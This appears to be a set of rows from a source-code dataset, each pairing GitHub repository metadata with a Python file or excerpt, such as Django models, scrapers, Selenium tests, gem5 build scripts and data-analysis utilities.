from database import Database from database import TabelMaken from functions import Lijstnamen_Maken from functions import lijstnamen_gebruiken # Initialisatie: Database.initialise(host = 'localhost',database = 'djangodb-8April-1000.dump',user = 'postgres',password = 'postgres') TabelMaken('runbook_converter_addrip','...
[ "falco@Falcos-MacBook-Pro.local" ]
falco@Falcos-MacBook-Pro.local
d20a31efd0f36ebada695f67e5fed6ecd95b7565
c3d0ffde87c3c67c94fe00bb614d1df4c49f58a3
/Backend/api/User/models.py
e79a855363231fdc9c7d4e0c7162c0e4c18d8b50
[]
no_license
ChamodiHansana/InternTest
ea263a664f6bde014a9ac2b5c65e6a7d47e958a3
ad03b4ae8a9b29f747fab616cf42cb577fc82feb
refs/heads/main
2023-06-10T01:27:22.549645
2021-07-04T15:11:18
2021-07-04T15:11:18
382,371,092
0
0
null
null
null
null
UTF-8
Python
false
false
271
py
from django.db import models # Create your models here. class User(models.Model): UserId=models.AutoField(primary_key=True) UserName=models.CharField(max_length=100) UserType=models.CharField(max_length=100) Password=models.CharField(max_length=10)
[ "chamodhihansana9@gmail.com" ]
chamodhihansana9@gmail.com
cf7fbf2b5ad6204acc52a22ffb5ab76d6a776bb7
5541a2892be0b97a7000472c91ec6884f601a6f2
/pyextraction/extract_lighttest_CM0029.py
856f38ed0b555611c894a78ec43fd857a32bee85
[]
no_license
1nathanliang/pupil
a2e0d83873f5cc43323aa85e67e07b218cb71be6
a91a2b9d2b14ec0d6f6d91fbf21373d57cfb67c5
refs/heads/main
2021-07-19T06:16:11.700524
2021-05-27T17:36:52
2021-05-27T17:36:52
363,009,530
0
0
null
2021-04-30T02:55:37
2021-04-30T02:55:36
null
UTF-8
Python
false
false
9,287
py
import pandas as pd import numpy as np from scipy.interpolate import CubicSpline def pupil_extract(datafile_input_path, datafile_output_path, datafile_output_path_avg): """ :param datafile_input_path: The path to the data from which DVs will be extracted :param datafile...
[ "1nathan.liang@gmail.com" ]
1nathan.liang@gmail.com
778702ac0952a9a3d5f915d1fa6271b0633fb693
0959af52fb425a3c16b77166dafafc104cf576ca
/base/items/wendu/items.py
75903df7c511c617e9994f254e8dae2cbc47cf84
[]
no_license
njunth/Crawler
d62e161ebf2fceefed3c976ac460090d6284f620
de0aa7321728d776915577827d719302f2cd1ed5
refs/heads/master
2021-09-16T21:03:38.905615
2018-06-25T04:36:37
2018-06-25T04:36:37
109,373,301
0
0
null
null
null
null
UTF-8
Python
false
false
493
py
# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/en/latest/topics/items.html import scrapy class WenduItem(scrapy.Item): source = scrapy.Field() source_url = scrapy.Field() url = scrapy.Field() html = scrapy.Field() attenti...
[ "Tinax@tinax.local" ]
Tinax@tinax.local
150f246e7cffd52c4816f26c2ce92dcb16d63e69
bfe6c95fa8a2aae3c3998bd59555583fed72900a
/trapRainWater.py
90bf3bb91de30cedf3d4da4078594bb04fe33a9b
[]
no_license
zzz136454872/leetcode
f9534016388a1ba010599f4771c08a55748694b2
b5ea6c21bff317884bdb3d7e873aa159b8c30215
refs/heads/master
2023-09-01T17:26:57.624117
2023-08-29T03:18:56
2023-08-29T03:18:56
240,464,565
0
0
null
null
null
null
UTF-8
Python
false
false
3,026
py
from heapq import heappop, heappush from typing import List class Solution: def trapRainWater(self, heightMap: List[List[int]]) -> int: m = len(heightMap) n = len(heightMap[0]) heap = [] water = [[12345678] * n for i in range(m)] for i in range(m): heappush(hea...
[ "zzz136454872@163.com" ]
zzz136454872@163.com
c361ba82db65d1253e0d5082bd08aa1ed372bd2d
1904675844784c4f010e146ff255b1c2e70d7259
/gemdroid.src/SConscript
bb3da02d8530930130d4087091d1ac81e77bf220
[]
no_license
GemDroidResearch/GemDroid_gem5
c1b56fa17090432de9e92500aa05b25a7809dfc5
9897775f4c4faad4bcab8ea4a14a90719d095d15
refs/heads/master
2022-11-24T23:50:48.693128
2020-08-01T14:42:11
2020-08-01T14:42:11
192,766,248
0
0
null
null
null
null
UTF-8
Python
false
false
38,074
# -*- mode:python -*- # Copyright (c) 2004-2005 The Regents of The University of Michigan # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: redistributions of source code must retain the above co...
[ "sandeepa.bhuyan@gmail.com" ]
sandeepa.bhuyan@gmail.com
cbb4e0918daeb34b83e85ed80b8eb62a73fa41ec
07f9f47b9b74c89c2d4bd2d8139d3f68e68e4ceb
/pages_proj/wsgi.py
11f83fb3cad072f1961c5174224ee58971896526
[]
no_license
AbdouTlili/django-preconfiguired-project
c33d8eefda155fe7e6c37612a00b217b99a215b5
9ba32bf05695e72fee746de9be80a758456f3855
refs/heads/master
2023-04-27T19:54:33.696916
2022-04-25T08:49:42
2022-04-25T08:49:42
233,621,277
1
0
null
2023-04-21T22:04:19
2020-01-13T14:58:55
Python
UTF-8
Python
false
false
397
py
""" WSGI config for pages_proj project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SE...
[ "zacnnnt@zacnnnt.zacnnnt.com" ]
zacnnnt@zacnnnt.zacnnnt.com
0a2948ea35fc47961b7cdd73b80bc9c71f0f5d85
e6ea978d5607a8e6a2fa0191d5693e80338f7bda
/histogram/plot.py
cae1193e933fb44e90f46d67979f0be855273a4c
[]
no_license
matheusota/Witness
9acc5d0b3a856da8d1a64f248c9df5c75e0a28d9
feb38cf99702bfe70365e348a923c8bdee63a611
refs/heads/master
2020-04-17T03:39:53.796588
2016-09-05T23:53:29
2016-09-05T23:53:29
67,457,478
0
0
null
null
null
null
UTF-8
Python
false
false
3,740
py
import matplotlib.pyplot as plt; plt.rcdefaults() import numpy as np import matplotlib.pyplot as plt plt.xlabel('Score(min. number of common solutions)', fontsize=18) plt.ylabel('Puzzles Occurrences(3 Boards)', fontsize=16) x = (range(6)) #x = (range(1, 369)) y_pos = np.arange(len(x)) y = [0, 20642876, 55248, 45988, ...
[ "matheusota@gmail.com" ]
matheusota@gmail.com
2127e2e2c4655d60e56401a07b1f8098aacf1757
fe4aff4d863c310c812e1d83e238da3d9ffa9290
/songeditor/migrations/0005_auto_20190303_1835.py
05a40949d2841f41d2e146cc9084062145349752
[ "MIT" ]
permissive
ospiegel91/chordsAndLyrics
5cef25d3b475175a3551ab0de6a50d60e185e534
ee907819466086dfdf0044fb5f02f29aab0bbd31
refs/heads/master
2022-12-15T05:01:08.984176
2019-03-27T17:20:38
2019-03-27T17:20:38
169,857,979
0
0
null
2022-12-08T01:43:01
2019-02-09T11:03:08
HTML
UTF-8
Python
false
false
390
py
# Generated by Django 2.1.5 on 2019-03-03 18:35 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('songeditor', '0004_auto_20190216_1000'), ] operations = [ migrations.AlterField( model_name='song', name='lyrics', ...
[ "ospiegel51191@gmail.com" ]
ospiegel51191@gmail.com
52aa3b91a476588f553b4b5536d02673238de349
ac25440485291e66aae85b6e4c6195aac54b06b2
/Euler Problems/Euler_Problem12.py
0248c51e220004dcc6e43448ef88d622b7d80cdf
[]
no_license
Waltt17/Euler-Problems
0838a86c7d8ddda62a7c9c9b5e84e2aab2acbd9f
14f443cfd25590b7b5897c573991413d059c9790
refs/heads/master
2020-09-14T07:13:27.456796
2019-11-21T03:28:11
2019-11-21T03:28:11
223,060,938
0
0
null
null
null
null
UTF-8
Python
false
false
467
py
#Euler Problem 12 import math def findFactors(num): factors = [] for i in range(1, int(math.sqrt(num)) + 1): if num % i == 0: factors.append(i) factors.append(int(num // i)) return factors def hasFiveHun(num): return len(findFactors(num)) > 500 def butt(num): return...
[ "36577051+Waltt17@users.noreply.github.com" ]
36577051+Waltt17@users.noreply.github.com
8565339b03c3e8fb258c76d0cb54fe81c3c2a882
310d56a0d7e53195fc2982e7251c98e5d474b90e
/pruebaETC.python.SeleniumFramework/src/tests/test07_Validar_JSON_tabla.py
76ef23b5a67ab8897e64694aa9c97b9f8c9eaf3c
[]
no_license
RosiNC/PruebasAutomatizadas
af62549ad277444b4470598835a3410b66a8e8ef
64a608fc3643037216d8be28d8b4c381fce2ed5d
refs/heads/master
2022-12-14T20:36:12.202172
2020-09-10T03:51:55
2020-09-10T03:51:55
294,004,390
0
0
null
null
null
null
UTF-8
Python
false
false
3,052
py
# -*- coding: utf-8 -*- ''' Created on Sep 6, 2020 @author: rosin ''' import unittest import time import json from selenium import webdriver #Completa el formulario, registra un miembro y #verifica que se genere correctamente el JSON de todos los miembros de la lista class Test07_Validar_JSON_tabla(unittest.TestCase...
[ "rosinaranjo@hotmail.com" ]
rosinaranjo@hotmail.com
993cd45c93a8a05b73722e566fa4a10d24524e57
7065c07e4bcfff887a84549188cc076a0abb7f78
/web_config.py
549b2c727bbe320d867888a6aec634bbe8124a1c
[]
no_license
oyeladunaremu/tutorial
6269f5d9292aa3bbceb8a0c2357849be55c6f848
7413f1c59172b0127da21f16c6178f4062a311fc
refs/heads/master
2022-12-10T08:33:26.397222
2020-09-02T08:06:03
2020-09-02T08:06:03
292,218,072
0
0
null
null
null
null
UTF-8
Python
false
false
415
py
from selenium import webdriver class Driver: """ This class will help us have an instance of our driver anywhere and save us the trouble of importing the webdriver from selenium, then instatiating the driver all over again """ def __init__(self): self.driver = webdriver.Chrome() de...
[ "oyeladun.aremu@wakanow.com" ]
oyeladun.aremu@wakanow.com
3ee81cbc10d0b10c69e3fe8249b18e025a995443
ad9bf03aa2d2c7b68d6c8dec0a7d153ad73315fb
/Codigos/FormatoCadenas.py
ba2e955c40862959cb83ac5849b0c1ae4e16659b
[]
no_license
gerardoCD/Curso-Python-2018-2
468329b9a66391ba7c6c0a3eaf29b88aa5ca8ae6
eb5530b170cc017c96931aa52d9b29fc85eaf188
refs/heads/master
2020-03-20T20:33:36.294939
2018-09-05T21:58:50
2018-09-05T21:58:50
137,693,640
0
1
null
null
null
null
UTF-8
Python
false
false
631
py
cadena = "Este es el Curso de Python" print(len(cadena)) print(cadena[1]) print(cadena[11:16]) print(cadena[:20]) print(cadena[::]) #Formato de cadena print(cadena.upper()) print(cadena.lower()) print(cadena.swapcase()) print(cadena.title()) print(cadena.capitalize()) print(cadena.center(70,"*")) ## Investi...
[ "ferrari_gerardo@live.com.mx" ]
ferrari_gerardo@live.com.mx
9c767873c7d94a6b7c04e62f428978616df72b28
3d19e1a316de4d6d96471c64332fff7acfaf1308
/Users/P/pinakighosh/state18.py
8edcffd229b35ac73c3e1e4c249b99569bd7806f
[]
no_license
BerilBBJ/scraperwiki-scraper-vault
4e98837ac3b1cc3a3edb01b8954ed00f341c8fcc
65ea6a943cc348a9caf3782b900b36446f7e137d
refs/heads/master
2021-12-02T23:55:58.481210
2013-09-30T17:02:59
2013-09-30T17:02:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,650
py
import scraperwiki import mechanize # added by Usha import re # added by Usha import lxml.html url="http://censusindia.gov.in/Census_Data_2001/Village_Directory/List_of_Villages/List_of_Villages_Alphabetical.aspx?cki=&State_Code=18" import string #create list of upper case alphabets l=list(string.ascii_uppercase) #crea...
[ "pallih@kaninka.net" ]
pallih@kaninka.net
dceb561fd9b18dfb85b1c5185bbee23385340b30
cd9e707df25dd641163c0f89f33bdbcaa4f11a0c
/app/launcher.py
35b960fefa33b4f16d990cbfd903bb0ea5170691
[]
no_license
depixusgenome/libanalysis
80e50953d4fad1654091bbaf59f181803671a242
3565db8c0e42d62c1adee1d664846227499f1302
refs/heads/master
2020-09-24T08:40:10.498554
2019-11-29T13:03:31
2019-11-29T13:03:31
225,716,577
0
0
null
null
null
null
UTF-8
Python
false
false
7,795
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- "Updates app manager so as to deal with controllers" from contextlib import closing from typing import Dict, Any import sys import asyncio import socket import random from tornado.platform.asyncio import AsyncIOMainLoop from bokeh.application import Applic...
[ "pol.davezac@depixus.com" ]
pol.davezac@depixus.com
b95f6e78bf568359414df699cf7e393950c822f2
e3dda4d14224d7f61ad7f63867b1e458d090fe26
/conv.py
fc5c9e92b148772824feacdb8fea954810f2dbd3
[]
no_license
J3ff-Mathew/python_small
515e70a5baae64d6243b61f84f46a0ec4f85dd03
3a1b7f789723c3c5b7c55a3b187f68cf46e8f70a
refs/heads/master
2023-08-11T03:30:47.618386
2021-09-15T04:48:23
2021-09-15T04:48:23
406,616,469
0
0
null
null
null
null
UTF-8
Python
false
false
190
py
print("Enter the the kilometer that you want to convert\n") kms=float(input()) print(f"Ok, so you want to convert {kms} kms to miles\n") miles=kms/1.6093 print(f"{kms} kms is {miles} miles")
[ "64083364+J3ff-Mathew@users.noreply.github.com" ]
64083364+J3ff-Mathew@users.noreply.github.com
7bdf098453a602d56db032dc7623dc00d909307b
12dd7624ebecc5380e8ce63af77023e91d86b3fe
/common/tool/line/model.py
32225abd4dd9271d4c9b81dc38df010f345d461c
[ "BSD-3-Clause" ]
permissive
Satanachia/mabinogi-helper
3f60ccfee18aa5ce12ba5efc57bf878d94fdad40
182511bb12f217d2e220ee1684e2ac23577bddc6
refs/heads/master
2021-02-07T20:35:31.938272
2020-02-23T02:32:25
2020-02-23T02:32:25
244,073,718
2
0
null
2020-03-01T02:28:31
2020-03-01T02:28:30
null
UTF-8
Python
false
false
2,094
py
import sqlite3 import time from datetime import datetime class Model(object): def __init__(self): dbName = 'maibinogi.db' self.conn = sqlite3.connect(dbName) self.cur = self.conn.cursor() # print('[INFO] connect to %s success' % (dbName)) def getAll(self, tableName): ...
[ "xinhua.allan@gmail.com" ]
xinhua.allan@gmail.com
39af30c41616e6f9b954a7aad3509d3861606c46
d59aea538c7172b2f49af13a61e9dc92d8142ade
/timetracker/urls.py
3f11acb8fd190b020836ae889e83e11998b20b80
[]
no_license
IrNV/timetohome
2097920c0058d163a7a9ea14fa2d7a778cff834d
1073d9e2941f58f85a7b75e359fac99cf5093882
refs/heads/master
2022-12-11T16:33:20.456829
2018-12-03T23:38:11
2018-12-03T23:38:11
149,763,963
0
0
null
2022-12-08T02:55:46
2018-09-21T12:59:45
Python
UTF-8
Python
false
false
869
py
from django.conf.urls import url, include from . import views from rest_framework.urlpatterns import format_suffix_patterns urlpatterns = [ url(r'^$', views.main_page, name='main_page'), url(r'^posts/$', views.post_list, name='post_list'), url(r'^posts/(?P<pk>\d+)/$', views.post_detail, name='post_detail'...
[ "NsT.valerka@ukr.net" ]
NsT.valerka@ukr.net
20786461b76ff1f1326b20fb8848a9ae5e46f159
007e187c7d91702fc900b75f771a2470e1c091e1
/tests/test_docker.py
28b67c058bb792d1b640d3f6bcd6e4c2eb60caf8
[]
no_license
bibi21000/janitoo_raspberry_i2c_ht16k33
bb3d05bdb395a29862c4e6bbb57c5e369aaca1e8
3dbb883cdc3439fd164edff21ffc0a0da7ee160f
refs/heads/master
2021-01-21T04:42:30.553870
2018-01-01T23:43:29
2018-01-01T23:43:29
55,532,142
0
0
null
null
null
null
UTF-8
Python
false
false
1,899
py
# -*- coding: utf-8 -*- """Unittests for Janitoo-common. """ __license__ = """ This file is part of Janitoo. Janitoo is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the Licens...
[ "bibi21000@gmail.com" ]
bibi21000@gmail.com
ef463038f5b0b6ccffeece3daffd0ae2177ca74f
12c0f3ab05b45cc8a184708f1cc1142921b627fe
/CPCPage.py
9ffdd30afbfc710602265cf911e1d125c3d554fd
[]
no_license
qingzh/learnPy
b245c0b51fadbae7c9276af98f2ccca7644a0ded
b1ae7472f33153febf701ce6a6d12e57a8d4a7b1
refs/heads/master
2016-09-15T14:34:34.012966
2016-03-12T04:59:13
2016-03-12T04:59:13
31,577,370
0
0
null
null
null
null
UTF-8
Python
false
false
1,467
py
#! -*- coding:utf8 -*- from selenium.webdriver.common.by import By from selenium.webdriver.remote.webelement import WebElement import time from selenium.common.exceptions import NoSuchElementException """ CPC |-- Tab | -- $(".tool-btns").find(".button"), './/[contains(@class, "button")]' Button Actions: { k...
[ "sjtuzhq@gmail.com" ]
sjtuzhq@gmail.com
a62cd80fdd4a1152c887e3f06f7a979ae87665b5
c8fe1031cdda39728f6e169692ac896be9f6514d
/amazon/amazon_data_load.py
c867e6283b7daf2bf35113c28989596a60aef640
[]
no_license
cosminzamfir/dl_keras
66d5fe25e8f0be3b50336f8b511cf954ead0a32d
45ca74e8ea2ec5da6e1a839b90e5febfc0ed1e39
refs/heads/master
2020-04-05T13:00:11.252119
2017-06-30T15:46:43
2017-06-30T15:46:43
95,012,871
0
0
null
null
null
null
UTF-8
Python
false
false
3,819
py
import pandas import csv import cv2 import numpy as np root = 'c:/work/data/kaggle/amazon/' root_img = root + 'train-jpg/' train_labels_file = root + 'train_v2.csv' #use the train_labels_file #return the mapping imageName -> List containing all labels defined for the image def build_labels_dict(): res = dict() ...
[ "cosminzamfir@yahoo.com" ]
cosminzamfir@yahoo.com
3b2a4620fd63508058437983e006768541b4091a
5ea8a08c46a884ccec2e96131f9d41b930b2a3ae
/swapleaf/app/account/ajax.py
85ebc7ae7ca433f35c5bc3e45007df2c7dfeea7c
[]
no_license
swapleaf/swapleaf
7bbb8c257c54d501a2effbc0d83d086c7a7fa5dc
17f8e04640f739000fa1e6cacc54ddf3534054e8
refs/heads/master
2021-01-21T09:53:19.742601
2013-08-07T02:42:01
2013-08-07T02:42:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
917
py
from django.utils import simplejson from dajaxice.decorators import dajaxice_register from swapleaf.app.main.models import Institution @dajaxice_register def get_data_by_state(request,state_value): try: query = Institution.objects.filter(state=state_value).order_by("name") result = [] for i in range(0,len(query...
[ "swapleaf+git@gmail.com" ]
swapleaf+git@gmail.com
c8b99415d99a2e1ef0c37ce1124dea8436d2792d
60b84786feba514163d6268724590883fd4315e2
/RESTfulAPI/RESTfulAPI/wsgi.py
7e814c34ca7a2d31c08f057382765f945f465803
[]
no_license
aakashverma1124/RESTful-API-Using-Django
19b155042420eaad97cce49b9517775b4728c5d3
048ec1c75506f39d20582eaf7aeeed4bb6b58e98
refs/heads/master
2020-08-31T03:11:13.145511
2019-10-30T17:24:08
2019-10-30T17:24:08
218,569,850
4
0
null
null
null
null
UTF-8
Python
false
false
397
py
""" WSGI config for RESTfulAPI project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SE...
[ "info.aakash11@gmail.com" ]
info.aakash11@gmail.com
022c4d550f5a9b9cd4d08a8af654f3caa56653e2
44bf43800c340b7bd9cfb7e337fcad5667d8aa3c
/Hospital/hospital/visita/migrations/0006_auto_20201122_2255.py
13b4abccb91a628514a7b961a179e74ba66c633c
[]
no_license
fabian4abc/Aplicacion-Hospitalizacion-domiciliaria-Hospital-el-pino
72ea2b6d77100b70390bd6e70bb5c093932c452f
ccdbbdc56a92e2e8d3f9a6c6282f3cabb61b1131
refs/heads/master
2023-03-24T06:11:44.715239
2021-03-10T02:43:03
2021-03-10T02:43:03
346,202,630
2
0
null
null
null
null
UTF-8
Python
false
false
410
py
# Generated by Django 3.0.7 on 2020-11-23 01:55 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('visita', '0005_visita_observaciones'), ] operations = [ migrations.AlterField( model_name='visita', name='observacio...
[ "fabiancardenas1998@gmail.com" ]
fabiancardenas1998@gmail.com
ea84847a897152e526e739c1b328a0e72c02ca0e
7fdac5209f86de756b9a8123a0911b70738eceeb
/pySDC/playgrounds/other/plots_overresolve_iter.py
74944e603d1cf9c88e95f665c70286392dffcc72
[ "BSD-2-Clause" ]
permissive
Parallel-in-Time/pySDC
edc66e399f6066effc5aaa376883e88e06b5332b
1a51834bedffd4472e344bed28f4d766614b1537
refs/heads/master
2023-08-30T23:17:56.017934
2023-08-30T05:42:00
2023-08-30T05:42:00
26,165,004
30
31
BSD-2-Clause
2023-09-14T06:40:13
2014-11-04T10:56:53
Jupyter Notebook
UTF-8
Python
false
false
2,099
py
import pySDC.helpers.plot_helper as plt_helper def beautify_plot(nprocs, fname): plt_helper.plt.grid() plt_helper.plt.legend(loc=2) plt_helper.plt.xlabel('Number of parallel steps') plt_helper.plt.ylabel('Theoretical speedup') plt_helper.plt.xlim(0.9 * nprocs[0], 1.1 * nprocs[-1]) plt_helper....
[ "r.speck@fz-juelich.de" ]
r.speck@fz-juelich.de
829c10f85e9511138e813fe91273ec4f34a03c4e
7e1a75f7b96b834cebd1dfe290599051ba9c04af
/update-annotation_embedding.py
9ef16f2091c0928f19d633a4c1e301abd5d3287c
[ "Apache-2.0" ]
permissive
flekschas-ozette/ismb-biovis-2022
4cc49bf3301dd87cb71a073189680ae1e9245c23
344185e49a023cecfb9b4135e08d815b149bd464
refs/heads/main
2023-04-18T00:52:23.887849
2023-01-25T22:25:20
2023-01-25T22:25:20
496,748,272
3
0
null
2023-01-10T20:05:20
2022-05-26T19:32:05
Jupyter Notebook
UTF-8
Python
false
false
6,168
py
import jscatter import numpy as np import pandas as pd from scipy.stats.mstats import winsorize from sklearn.preprocessing import MinMaxScaler, StandardScaler from time import time from cmaps import glasbey_dark from umap import UMAP import matplotlib.pyplot as plt data = pd.read_csv('data/MMRF_1267_output.csv') #mark...
[ "evan@system76-pc.localdomain" ]
evan@system76-pc.localdomain
3447dd896d2ddb78b4413cdaccb196c185cf1734
b8cc8d0ee35406001a9b6a225b2735b786f4f950
/differ_by_one.py
895a3946ea1235858ccc69d3bcda33fc7ad8495d
[]
no_license
sudhakarpv/differ_by_one_char
c9a242d08603ccf6264620f6854119a378367459
368c0f7fc871db994a3a720e222cbd48c0186d13
refs/heads/master
2020-03-24T06:33:39.214953
2018-07-27T05:48:19
2018-07-27T05:48:19
142,533,135
0
0
null
null
null
null
UTF-8
Python
false
false
425
py
# differ_by_one_char def main(): pass n=input().split() k=n[0] j=n[1] flag=0 list_1=list(k) list_2=list(j) print(list_1) print(list_2) for word in list_1: for word1 in list_2: if(word==word1): flag=0 else: flag+=1 ...
[ "noreply@github.com" ]
noreply@github.com
0f603dc75f88c1144cd73976c40aec88b0f521a8
b45f731d17972c84f11007dc3fd11e8df7571548
/pythoncan_pcan.py
5d1f4cc08c94c4f5a38f110a45dd93d380606a90
[]
no_license
tiger86023086/ProCCMTest
9261e8355366904414491fd417d01f958dcb6a41
e529c9dc5121de4680fbdff39daee9a39e5fd9f3
refs/heads/master
2023-06-14T22:59:23.489210
2021-07-08T07:00:40
2021-07-08T07:00:40
362,150,740
0
0
null
null
null
null
UTF-8
Python
false
false
294
py
import can mybus = can.Bus(bustype='pcan', channel='PCAN_USBBUS1', bitrate=500000) mymessage = can.Message(arbitration_id=0x400, is_extended_id=False, data=[1,2,3,4,5,6,7,8],dlc = 8, channel = 0) mybus.send(mymessage,timeout=None) mybus.shutdown()
[ "tiger860230@126.com" ]
tiger860230@126.com
884fabf0d80da92d3a0616ebda2ef45dcc3f338d
f9def3c5c82dcc681400deb5b86213dac2c2620a
/venv/Scripts/pyi-grab_version-script.py
cc476be48dc4b181accba560ea315437149b96a8
[]
no_license
Firesean/Minesweeper
585445a9e337c1148f90a4e5cd275c072c81789e
668606cde11e20673f2a35a2578616aacdd7666b
refs/heads/master
2023-05-25T01:25:00.907283
2023-05-12T20:00:43
2023-05-12T20:00:43
208,490,642
1
0
null
null
null
null
UTF-8
Python
false
false
456
py
#!C:\Users\Owner\PycharmProjects\Minesweeper\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'PyInstaller==3.5','console_scripts','pyi-grab_version' __requires__ = 'PyInstaller==3.5' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw...
[ "Firesean98@gmail.com" ]
Firesean98@gmail.com
80a58ca838772a3f0402d7ba870ff39b8fc8c6c3
229983fdd1475a4e38a24aeb97499fda7175622d
/moye/apps/organization/migrations/0004_courseorg_course_num.py
954ac9d85f5504aa405621c6655d83463faa96ae
[]
no_license
shangshanzhishui/moye
651a2e7ba6ae931531e0f8c3b74d4b5b88b9a891
0168316f313475f0bfcda06e2faf9e50dfd83bc1
refs/heads/master
2020-03-09T00:24:27.933179
2018-04-07T02:13:58
2018-04-07T02:13:58
128,487,410
0
0
null
null
null
null
UTF-8
Python
false
false
500
py
# -*- coding: utf-8 -*- # Generated by Django 1.9 on 2018-03-08 09:49 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('organization', '0003_courseorg_students'), ] operations = [ migrations.AddFiel...
[ "photoncomputer@163.com" ]
photoncomputer@163.com
8de1a0093c5632e84f9af40f3da231a8b786a2bd
db78707a0d0acea3fd3806ec0fcac267f6fd27b4
/app/forms.py
abf87f143329718a267128fdd5ead73bdf3d1a16
[]
no_license
lincoln-brown/info3180-lab3
4daa6d3768692f4a399960bbe736988a6895635f
984f1f7e19be684c7337f5ab4b43130267b66605
refs/heads/master
2021-01-03T05:35:32.933595
2020-02-15T03:14:08
2020-02-15T03:14:08
239,944,226
0
0
null
null
null
null
UTF-8
Python
false
false
452
py
from flask_wtf import FlaskForm from wtforms import StringField from wtforms.validators import DataRequired ,Email from wtforms.widgets import TextArea class ContactForm(FlaskForm): Name = StringField('Name',validators=[DataRequired()]) Email = StringField('Email',validators=[DataRequired(), Email()]) Subject = St...
[ "links1155@gmail.com" ]
links1155@gmail.com
d099e5221ebb9833b8713dc83499122d8f04d86d
46bcaade75f8db8c2b90e14ba8037493552b7095
/51prob.py
3dd7dc882005117e6b3d5ec283e9b9b1f2a74691
[]
no_license
kennyu/Project-Euler-Solutions
3bb49dcda7e120c767c14cec5de812288463f07c
f724a27f360743a23d3a8e412f7ee3843f1e4329
refs/heads/master
2020-05-20T11:23:31.314650
2013-11-06T06:16:57
2013-11-06T06:16:57
null
0
0
null
null
null
null
UTF-8
Python
false
false
511
py
from eulertools import primes from itertools import combinations from operator import add def idx_of_repeats(num): ''' Returns indices of repeating numbers ''' num = map(int, str(num)) idx_list = [] for n in set(num): if num.count(n) == 2: idx_list.append( [idx for idx, j in enumera...
[ "kyuxan at gmail" ]
kyuxan at gmail
8209eaef4581b2041de50c86d2a84081b5d47349
730ebc230bb4705dfa4c1f4bb9f6ce4302003247
/a3_src/h20_capability/sensor/imaging/__init__.py
1461d9f1fb0491d8bcf0e31e946c6e89fe8b3329
[ "Apache-2.0" ]
permissive
wtpayne/hiai
be47dfcf2e268816b7abaaa932fa327ec778f49c
04a13be2792323e3f9fdb83fd236a8e9cfe6aa2d
refs/heads/master
2021-01-24T11:18:39.513239
2016-10-02T22:23:54
2016-12-13T16:15:32
48,865,283
5
1
null
2016-05-08T15:43:31
2015-12-31T23:51:00
Python
UTF-8
Python
false
false
832
py
# -*- coding: utf-8 -*- """ Package with support for various image-forming sensors. --- type: python_module validation_level: v00_minimum protection: k00_public copyright: "Copyright 2016 High Integrity Artificial Intelligence Systems" license: "Licensed under the Apache License, Version 2.0 (t...
[ "t001_wtp@hiai-systems.com" ]
t001_wtp@hiai-systems.com
22452a04e34e553da806db4bf81e2b852e524316
20232e13b5f1e52980652bd45513336f224d2f2a
/miniardrone_ws/build/miniardrone_pkg/catkin_generated/pkg.develspace.context.pc.py
b469c33f146adf1bf6c83a315d26fd5fdbd62ee5
[]
no_license
ChebotarDmytro/MiniArDrone
62f7240753d965e01ca081e566d868dfea63b1a0
8f768e6daf13e51925541df88fc3d731e70cdb3e
refs/heads/master
2021-01-12T14:27:40.871982
2017-04-25T12:45:48
2017-04-25T12:45:48
71,994,277
0
0
null
null
null
null
UTF-8
Python
false
false
393
py
# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else [] PROJECT_CATKIN_DEPENDS = "".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else [] PROJECT_NAME = "miniardrone_pkg" PROJECT_SPACE_DIR = ...
[ "chdimon4@gmail.com" ]
chdimon4@gmail.com
df817cfce618305f6504307136b261cf76332d27
6d8915634102167d7515648e792a692a405dadc0
/documentation/Tutorial_Modules/Machine_Learning_and_Feature_Extraction_Tutorial/Preprocessing_Tutorial/Kaggle_Preprocessing.py
e129f02cd48840985c5bbbcb06a3de5932425d5f
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
LiaoPan/qtim_tools
6b2e43563c74ef9f6a29fd924d2d2bde0d97768a
92bd15ec7a81c5eda70d11a015f74538f3c41e22
refs/heads/master
2020-04-02T05:31:56.851236
2018-09-24T16:10:50
2018-09-24T16:10:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
16,181
py
# coding: utf-8 # # Prerequisites # # Welcome to class! # # The following tutorial was written by Guido Zuidhoff, and can be seen as originally published at https://www.kaggle.com/gzuidhof/data-science-bowl-2017/full-preprocessing-tutorial/discussion. It is being rehosted at https://github.com/QTIM-Lab/qtim_tools/t...
[ "andrew_beers@alumni.brown.edu" ]
andrew_beers@alumni.brown.edu
922229ae86fd714b936d9560025f7b30a4cce263
19197441cc09e76dd3f6f2c69d2147dd19228935
/fb-fucker.py
695f1034b134d6a46af0e45f3bfb1c4a42f05666
[]
no_license
Afgb0ym/fb-fucker
bb20f0f577ee9e023c7f7078daaaddb2d08aa938
f28101aacd3ef71af45785f0bc6181a705551972
refs/heads/main
2023-07-05T15:04:38.384332
2021-08-13T12:02:33
2021-08-13T12:02:33
394,948,852
0
0
null
null
null
null
UTF-8
Python
false
false
4,218
py
